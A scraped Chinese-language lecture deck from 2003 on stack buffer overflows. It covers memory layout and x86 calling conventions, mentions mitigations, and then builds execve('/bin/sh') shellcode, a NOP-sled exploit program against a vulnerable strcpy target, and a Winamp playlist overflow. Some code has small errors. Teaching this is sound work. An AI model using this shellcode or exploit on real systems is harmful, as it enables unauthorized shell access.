buffer overflow instruction

33
Buffer Overflow Instruction Enijmax 2003/06

Upload: calix

Post on 15-Jan-2016

116 views

Category:

Documents


0 download

DESCRIPTION

Buffer Overflow Instruction. Enijmax 2003/06. Buffer Overflow 簡介. 什麼是 buffer overflow? 通常是程式設計師在程式中沒有檢查 buffer 的邊界而造成程式在執行時可以寫超過 buffer 的大小,進而造成系統安全上的問題。 Ex: 以下程式是最典型具有 buffer overflow 漏洞的程式: void main() { char buf[1024]; gets(buf); }. Buffer Overflow 造成的影響. - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Buffer Overflow Instruction

Buffer Overflow Instruction

Enijmax2003/06

Page 2: Buffer Overflow Instruction

Buffer Overflow 簡介 什麼是 buffer overflow?

通常是程式設計師在程式中沒有檢查 buffer的邊界而造成程式在執行時可以寫超過 buffer的大小,進而造成系統安全上的問題。

Ex: 以下程式是最典型具有 buffer overflow 漏洞的程式:

void main(){

char buf[1024];gets(buf);

}

Page 3: Buffer Overflow Instruction

Buffer Overflow 造成的影響 若有一個 buffer 位址的後面,有一個變數是管理

權限的,就可以利用該 buffer 來覆蓋到其後的變數,進而造成安全上的問題。

要避免這種問題:程式設計者要小心檢查 buffer的邊界,或是使用較安全的系統函式 (ex:strncpy)來取代原本不安全的函式,甚至不要使用 c 或 c++這種沒有檢查 buffer 邊界的語言,而改用 java 等更高階的語言,或是使用靜態的工具來掃描程式是否有 buffer overflow 的漏洞 (splint,mpr,its4…) ,或是使用動態保護 (efence ,smashStade)或是 IDS 。

Page 4: Buffer Overflow Instruction

程式記憶體位址的配置 Heap: 程式中動態配置記憶體所用的記憶體空間。 Stack: 用來存放 function return address 和 func

tion 的 local variables( 包括參數 ) 及保存暫存器值的記憶體空間。

BSS(block storage segment): 用來存放程式中未初始化的全域變數的空間。

Data Segment: 用來存放已初始化的全域變數 Text Segment: 用來存放程式碼 ( 固定不變的部

分 ) 。 最後兩塊記憶體大小在程式執行前就固定了。

Page 5: Buffer Overflow Instruction

記憶體位址圖解 最上層的是 kernel memory ,

一般的 user prog 看不到 第二層是 user stack ,是自

動配置給 function 的,用來存放參數、區域變數和 return address

第三層用來存放 share library 以及 memory mapped file

第四層存放動態配置記憶體 第五、第六層是存放全域變

數和程式碼。

Page 6: Buffer Overflow Instruction

Buffer Overflow 的種類 Stack Overflow:

經由設定過長的資料來造成 stack 中 buffer 的 overflow ,主要造成的問題是 return addr 若被更改,對方就可以把 return addr 指向他人植入的程式碼,當目前的函式執行完畢時,就會跳去執行植入的程式碼。

Heap Overflow: 通常要和 stack overflow 來配合,入侵者會把程式碼放在

heap 中,再利用 stack overflow 來改寫 return addr ,把它指向 heap 。

除了 return address 外,可供利用的 overflow 對象還包括 function pointer(c++ 中的 virtual function table) 以及 setjmp,longjmp 的 buffer

Page 7: Buffer Overflow Instruction

Stack 的特性 (x86 平台 ) 會隨著程式而增減,並且是由高位址長向低位址。 依照下列順序來存放各個資料

High addressParameter to the function( 存放函式參數 )The return address( 存放回傳位址 )The old base pointer( 存放其呼叫函式的 stack frame 位址 )local variables(先宣告的變數放在較高位址 )

Low address Intel CPU based 的機器其資料儲存的方式為 little e

ndian ,例 :12(0x00000c) 會存放成以下狀況0xbffffa94: 0xc(12)0xbffffa95: 0x00xbffffa96: 0x00xbffffa97: 0x0

依序往高位址放

固定長度為 4bytes

固定長度為 4bytes

依序往低位址放

High

Low

Page 8: Buffer Overflow Instruction

Heap 的特性 (x86 平台 ) 會隨著程式而增減,但是是由低位址長向

高位址。 範例:

1. void main() {2. char *str = (char *)malloc(sizeof(char)*4);3. char *super_user =(char *)malloc(sizeof(char)*4);4. printf(“addr of str:%p\n”,str);5. printf(“addr of super_user:%p\n”,super_user);6. }執行結果:addr of str: 0x80496c0addr of super_user: 0x80496d0

Page 9: Buffer Overflow Instruction

程式範例 範例程式碼:

1. int main(int argc,char **argv);2. void concat_arguments(int argc, char **argv) {3. char buf[20];4. char *p = buf;5. int i;6. }7. int main(int argc, char **argv) {8. concat_arguments(argc, argv);9. }

Assembly code

concat_arguments:pushl %ebpmovl %esp, %ebpsubl $56, %espleal -40(%ebp), %eaxmovl %eax, -44(%ebp)leaveret

argument

Return address

%ebp

?

bufPi

High

Low

ebp,esp

esp

40

56

Page 10: Buffer Overflow Instruction

和 stack相關的 CPU暫存器 Segment Registers

Stack Segment: 指向整個 stack 的頂端。

Index Registers Base pointer: 指向 stack 中正在執行的 function stack 的 base locati

on( 存放在 old base pointer 的地方 ) ,在呼叫函式時會改變。 Stack Pointer: 記錄現在要讀取的 var 的 offset ,必須要和 ss 一起用才能正確指到資料的位址。

Stackss

Func stack

ebp

esp

high

low

Page 11: Buffer Overflow Instruction

呼叫函式時的動作 Caller將 callee 的參數 push 到 stack 中 (此時 sp 會隨之改變 ) Caller 執行 call 指令, call 指令做兩件事:

把 return address push 到 stack 中 把 program counter 指向 function code address

在 callee 中,會把 base pointer push 到 stack 中,並且 copy sp 的內容到 bp中 (ex:movl %esp %ebp) 。

保留原始的 register 到 stack 中。 保留足夠的空間給 local variables 。 function 執行過程。 當函式要 return回 caller 去執行時:

callee 把 sp 指向 return address(call 指令幫我們 push 進來的 ) 。 Callee 執行 ret 指令,將執行權丟回 caller( 把 program counter 指向 retu

rn address) 。 Caller調整 sp 到 old bp 存放的位址。 Caller 會把 base pointer 由 stack 中 pop出來,回復到之前的狀況。

Page 12: Buffer Overflow Instruction

製作 buffer overflow exploit 的步驟1. 先找出目標程式中可以 overflow 的 buff

er 。2. 確定 buffer 被蓋掉之後到 return之前不

會再被更改。3. 先分析 buffer 的位址 (stack 的位址 ) 。4. 撰寫攻擊程式

1. Overflow buffer 導致程式入無窮迴圈。2. 植入 attackCode 到 buffer 中。

Page 13: Buffer Overflow Instruction

一個 overflow 的實例 目的:

讓目標程式可以執行本身函式無限次! 目標程式:1. //progWithBO.c2. void concat_arguments(int argc, char **argv)3. {4. char buf[20];5. char *p=buf;6. int i;7. char *tmp;8. for (i = 1; i < argc; i++) {9. strcpy(p, argv[i]);10. p += strlen(argv[i]);11. if (i + 1 != argc) {12. *p++ = ' ';13. }14. }15. }16. int main(int argc, char **argv)17. {18. concat_arguments(argc, argv);19. return (0);20. }

Page 14: Buffer Overflow Instruction

一個 overflow 的實例 拿到上面的目標程式後,要先做以下兩件事:

分析 function address為了讓程式不斷地跳入 concat_arguments 函式中,必需得到該函式的記憶體位址。在目標程式中加入一行:printf(“concat_argument:%p\n”,concat_arguments);重新 compile並執行目標程式即可得到函式位址了。要注意的是,我們增加程式碼並不會影響到 function address ,且每次執行的時候 function address都一樣。

註:也可以使用 gdb 來得到 function address 分析 stack 記憶體空間

攻擊者必須還要找出 buffer距 return address 的距離,如此才能正地將 function address 覆蓋到 return address 的空間中。該程式中會在最後加上一個 0x32( 空白字元 ) ,若我們不想讓它去改到argc 的值,就要

Page 15: Buffer Overflow Instruction

一個 overflow 的實例 程式碼:1. //attackProg.c2. #include <stdio.h>3. int main() {4. char *buf = (char *)malloc(sizeof(char)*1024);5. char **arr = (char **)malloc(sizeof(char *)*3);6. int i;7. for (i=0;i<44;i++) //將 buffer 用‘ x’去填滿它,順便蓋過中間一些無用的資料8. buf[i]='x';9. buf[44] = 0xc8; // 寫入 return address10. buf[45] = 0x83; // 寫入 return address11. buf[46] = 0x4; // 寫入 return address12. buf[47] = 0x8; // 寫入 return address13. buf[48] = 0x2; // 寫入參數 ( 否則的話會被放入空白 )14. buf[49] = 0x0; // 寫入參數15. arr[0] = “./Q1”; // 要執行的程式16. arr[1] = buf; // 參數一17. arr[2] = 0x00; //null18. execv("./Q1s",arr);19. }

Page 16: Buffer Overflow Instruction

一個 overflow 的實例 問題:將上兩個程式碼分別編譯過,執行 AttackProg.c

來攻擊 progwithBO.c 程式,理論上目標程式應該會進入無窮迴圈,但是事實上並沒有,反而在進入函式兩次後出現 Segmentation fault 。

原因:因為第二次進入函式時,我們並沒有執行 caller應該做的事情,其中最重要的就是沒有做 return address 到 stack 上的這一個步驟,以致於接下來的 pushl %ebp 會將 old bp 寫在原來 return address 的地方,新的 bp也會比上一次呼叫來得高了 4 個 bytes ,在 strcpy 後,覆蓋在 return address 的資料會變成“ xxxx”,以致於再次 return 時會產生 segmentation fault 。

Page 17: Buffer Overflow Instruction

一個 overflow 的實例 解決方法:

把 return address 用 call function 的 address 來填充。 取得 call function address

在 progwithBO.c code 中加入 printf(“%p”,concat_arguments); 先編譯取得 assembly code(gcc –c –S –masm=intel Q1.c) ,產生出 .s 將Q1.s 中的 code做以下修改:

1. Call concat_arguments -> .JMP_ADDR: call concat_arguments

2. pushl $concat_arguments -> pushl $.JMP_ADDR

1.是新增一個標籤,其指向 call concat_arguments 的位址。2. 將原本印出 concat_arguments 的位址的 printf 改成印出 call 的位址。 編譯Q1.s(gcc Q1.s –o Q1) 執行 Q1 ,就可以看到程式印出 call concat_arguments 的位址。

Note:也可以用 gdb直接取得該位址。

Page 18: Buffer Overflow Instruction

一個 overflow 的實例得到 call concat_arguments 的位址後,

改寫攻擊程式,把 return address 改成 call concat_arguments 的位址。

重新執行攻擊程式,就會看到函式呼叫一直 loop 執行了。

現在已經可以把程式跳向任何你想要的位址。

Page 19: Buffer Overflow Instruction

製作一個攻擊程式 入侵者將攻擊程式放入記憶體中,並且設計讓被攻擊

的程式時,不知不覺地執行到該攻擊程式。 通常攻擊程式是一個會取得 shell控制權的程式,它

的樣子如下://exploit.cvoid main(){

char *s[2];s[0] = “/bin/sh”;s[1] = 0x00;execve(s[0],s,NULL);

} 該程式執行完畢後,會得到該系統的 shell ,此時入

侵者就可以執行任意想要執行的指令了。

Page 20: Buffer Overflow Instruction

攻擊程式的 binary code 由於攻擊程式必須藉由 overflow buffer 來植入,因此需要 binar

y code gcc –static exploit.c –o exploit (gdb)gdb exploit (gdb)disas execve gdb will show the assembly code, and we have to remove or

add some code to satisfy our goal. execve system call needs four arguments:

eax:System call ID 0xb ebx:Prog’s path and filename(null terminated) ecx:address of array arguments(zero terminated) edx:address of environment string

Page 21: Buffer Overflow Instruction

攻擊程式的 binary code(cont.) 因此我們需要特別將資料的存放重新設計在攻擊程

式碼中。1. 在記憶體中必需有執行程式字串“ /bin/sh”,且字串以

null 結束。2. 必需有一個陣列儲存程式字串和參數,並且以 0x0結尾,

而我們必需知道其位址並 copy 到 ecx 中。3. Copy 0xb 到 eax 中。4. Copy “/bin/sh”字串的位址放到 ebx5. Copy NULL(0x0) 放到 edx 中。6. 執行 int 0x807. 若 execve 執行失敗,則跳出程式 (exit) ,避免產生 core

dump 。

Page 22: Buffer Overflow Instruction

攻擊程式的 binary code(cont.) execve assembly code0x0804da00 <execve+0>: push %ebp -> 備分 base pointer0x0804da01 <execve+1>: mov $0x0,%eax -> 初始化 eax0x0804da06 <execve+6>: mov %esp,%ebp -> 更新 base pointer為 stack pointer 的內容0x0804da08 <execve+8>: test %eax,%eax -> 就是 xorl %eax,%eax0x0804da0a <execve+10>: push %edi -> 備分 edi0x0804da0b <execve+11>: push %ebx -> 備分 ebx0x0804da0c <execve+12>: mov 0x8(%ebp),%edi ->放入“ /bin/sh”的 address 到 di regist

er 中0x0804da0f <execve+15>: je 0x804da16 <execve+22> -> 未知0x0804da11 <execve+17>: call 0x0 -> 未知0x0804da16 <execve+22>: mov 0xc(%ebp),%ecx -> 放入 address of arg array 到 ec

x0x0804da19 <execve+25>: mov 0x10(%ebp),%edx -> 放入 null 的 address0x0804da1c <execve+28>: push %ebx -> 備分 ebx0x0804da1d <execve+29>: mov %edi,%ebx ->把 di 存的放到 bx 中0x0804da1f <execve+31>: mov $0xb,%eax -> 放入 system call id 到 ax 中0x0804da24 <execve+36>: int $0x80 -> 執行 system call

Page 23: Buffer Overflow Instruction

攻擊程式的 binary code(cont.) 上述程式改成如下的組語程式:

00 jmp 0x26 ->執行 26 bytes 後的 call敘述02 pop %esi ->把 string address pop出來03 mov %esi,0x8(%esi) ->s[0] ,代表字串06 mov 0x0, 0x7(%esi) ->s[1] ,代表 null0a mov 0x0,0xc(%esi) ->s[2] ,以 0做 array 的結尾11 mov 0xb,%eax ->放入 system call ID 0xb 到 eax 中16 mov %esi,$ebx ->放入字串的 address 到 ebx 中18 leal 0x8(%esi),%ecx ->放入參數 array 的 address1b leal 0xc(%esi),%edx ->放入 null 值的 address1e Int 0x80 ->執行 execve20 mov 0x1,%eax ->eax 放入 0x1(exit 的 system call id)25 mov 0x0,%ebx ->ebx 放入 0x02a int 0x80 ->執行 exit2c call –0x2b ->把 string address push 到 stack 中並到第 2 行執行31 .string \”/bin/sh\” ->必需字串

/bin/sh\0 address \0

Page 24: Buffer Overflow Instruction

攻擊程式的 binary code(cont.) 編譯該組語語法程式,並使用 gdb 取得 hex code如下:“\xeb\e2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00”“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff”“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3” 以上程式碼並沒有錯誤,但是其中有許多 null bytes ,許多處理字串的函式都會把 null bytes 當做字串的結束符號,故我們需要移除null bytes ,以其他的指令取代會產生 null 的指令。

movb 0x0, 0x7(%esi) -> xorl %eax,%eaxmovl 0x0,0xc(%esi) -> movl %eax,0x7(%esi)

-> movl %eax,0xc(%esi)movl 0xb,%eax -> movb 0xb,%almovl 0x1,%eax -> xorl %ebx,%ebxmovl 0x0,%ebx -> movl %ebx,%eax

-> inc %eax

Page 25: Buffer Overflow Instruction

攻擊程式的 binary code(cont.) 修改後的程式碼 (共 46bytes) :

00 jmp 0x1f ->\xeb\x1f02 popl %esi ->\x5e03 movl %esi,0x8(%esi) ->\x89\x76\x0806 xorl %eax,%eax ->\x31\xc008 movb %eax,0x7(%esi)->\x88\x46\x070b movl %eax,0xc(%esi) ->\x89\x46\x0c0e movb $0xb,%al ->\xb0\x0b10 movl %esi,%ebx ->\x89\xf312 leal 0x8(%esi),%ecx ->\x8d\x4e\x0815 leal 0xc(%esi),%edx ->\x8d\x56\x0c18 int $0x80 ->\xcd\x801a xorl %ebx,%ebx ->\x31\xdb1c movl %ebx,%eax ->\x89\xd81e inc %eax ->\x401f int $0x80 ->\xcd\x8021 call -0x24 ->\xe8\xdc\xff\xff\xff26 .string \"/bin/sh\“ ->/bin/sh

Page 26: Buffer Overflow Instruction

取得 stack 位址 放攻擊程式要注意的事項:

攻擊程式必須是 buffer 中的一部分,以便計算 buffer 的起始位址,但不可以蓋掉 return address 。

必須要把 return address 就是 buffer 的起始位址。 要將 return address 指向 buffer 的開端,必須要先找出一個 re

ference 的位址,而 stack pointer 所指向的位址對於每個程式來說想差有限,最適合來做參考位址,以下函式可以用來取得 esp 的值。

unsigned long get_sp(void) {__asm__(“movl %esp,%eax”);

} 由於每次執行 stack pointer都不一樣,也沒有辦法拿到目標程

式執行中的 stack pointer ,所以只能用隨機的 offset 值和 reference 的位址來猜測 buffer 的起點。

ret

Buffer

bsize…

Page 27: Buffer Overflow Instruction

加入 NOP指令 NOP是什麼?

NOP是一個 processor 的指令,是代表所謂的空指令,也就是說 processor 看到它就什麼都不做,直接執行下一行。

為何要在 buffer之前加入數個 NOP指令? 若沒有 NOP,指令, return address必須精準地指到

buffer 的開端。為了方便起見,我們加入數個 NOP指令在真正的程式之前, return address只要指向其中一個 NOP指令即可,它都會執行到後面真正的 code 。

exploit codeNOP ret

Page 28: Buffer Overflow Instruction

Sample 這是目標 ( 被攻擊 ) 程式 (vulnerable.c) :1. #include<string.h>

2. int main(int argc,int **argv)3. {4. char buffer[512];5. if(argc>1)6. {7. strcpy(buffer,argv[1]);8. }9. }

Page 29: Buffer Overflow Instruction

Sample (Cont.) 這是我們撰寫的攻擊程式 (exploit.c) :1. #include <stdlib.h>2. #include <unistd.h>

3. #define DEFAULT_OFFSET 0 /*offset from stack pointer*/4. #define DEFAULT_BUFFER_SIZE 512 /*buffer size*/5. #define NOP 0x90 /*NOP instruction*/

6. char shellcode[]=7. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3“8. "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff“9. " \xff\xff/bin/sh";

10. unsigned long get_sp(void) { /*function to get esp values*/11. __asm__("movl %esp,%eax");12. }

Page 30: Buffer Overflow Instruction

Sample (Cont.)

13. int main(int argc,char **argv)14. {15. char *buff , *ptr;16. long *addr_ptr, addr;17. int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;18. int i;19. if (argc > 1)20. bsize = atoi(argv[1]);21. if (argc > 2)22. offset = atoi(argv[2]);23. if (!(buff = (char *)malloc(bsize))) {24. printf("can't allocate memory\n");25. exit(0);26. }27. addr = get_sp() - offset; /*set buffer start address*/28. printf("Using address:0x%x\n",addr);29. ptr = buff;30. addr_ptr = (long *)ptr;

retretretretret

ShellCode

46 bytes

NOPNOPNOPNOPNOP

bsize

Page 31: Buffer Overflow Instruction

Sample (Cont.)31. for (i=0;i<bsize;i+=4) //fill the buffer with buff address32. *(addr_ptr++) = addr;33. for (i=0;i<bsize/2;i++) //fill NOP instruction in the half front of the buffer34. buff[i] = NOP;35.

36. ptr = buff + (bsize/2) - (strlen(shellcode)/2);37. for (i=0;i<strlen(shellcode);i++)38. *(ptr++) = shellcode[i]; /*copy shell code into buffer*/39.

40. buff[bsize-1] = '\0'; /*add null terminated symbol*/41.

42. s[0]="./vulnerable1";43. s[1]=buff;44. s[2]=0x00;45.

46. printf("call vulerable1 program:\n");47. execve(s[0],s,NULL); /*execute target program with designed buffer*/48. }

Page 32: Buffer Overflow Instruction

Sample (Cont.) 執行 ./exploit <bufferSize> <offset>後,它會先設定好

buffer ,再呼叫 execve 去執行 vulnerable ,並餵給設定完成的 buffer 。 bufferSize : 通常設定比目標程式中的 buffer 大 100bytes ,以確保可以蓋到 return address 。

offset : 是一個隨機猜測 buffer 位址的參數,一般大約在 +-1000之間。

若可以順利取得 shell 的話,表示攻擊程式達到我們的要求了;若否,表示我們製做的 buffer太長或是太短了,太長的 buffer 會去蓋到別人的 stack ,作業系統會產生segment fault ,太短會沒有蓋到 return address ,目標程式就會正常結束。

Page 33: Buffer Overflow Instruction

Winamp 在 windows XP上的 buffer overflow 在 winamp 3.0 final 和 winamp 2.81 中,可以使用 .b4s 來製

造 buffer overflow 。 以下是 b4s檔案的樣子:<?xml version="1.0" encoding='UTF-8' standalone="yes"?> <WinampXML> <!-- Generated by: Nullsoft Winamp3 version 3.0 --> <playlist num_entries="[number_of_entries]" label="[playlist_name]"> #(1) #first entry <entry Playstring="file:[patch_to_file]"> <Name>[name_of_the_song]</Name> <Length>[file_size_in_byts]</Lengt> </entry> #end of first entry</playlist> </WinampXML> 若 [playlist_name] 大於 16580b,則 ecx,esi 和 return addres

s都會被 overwrite 。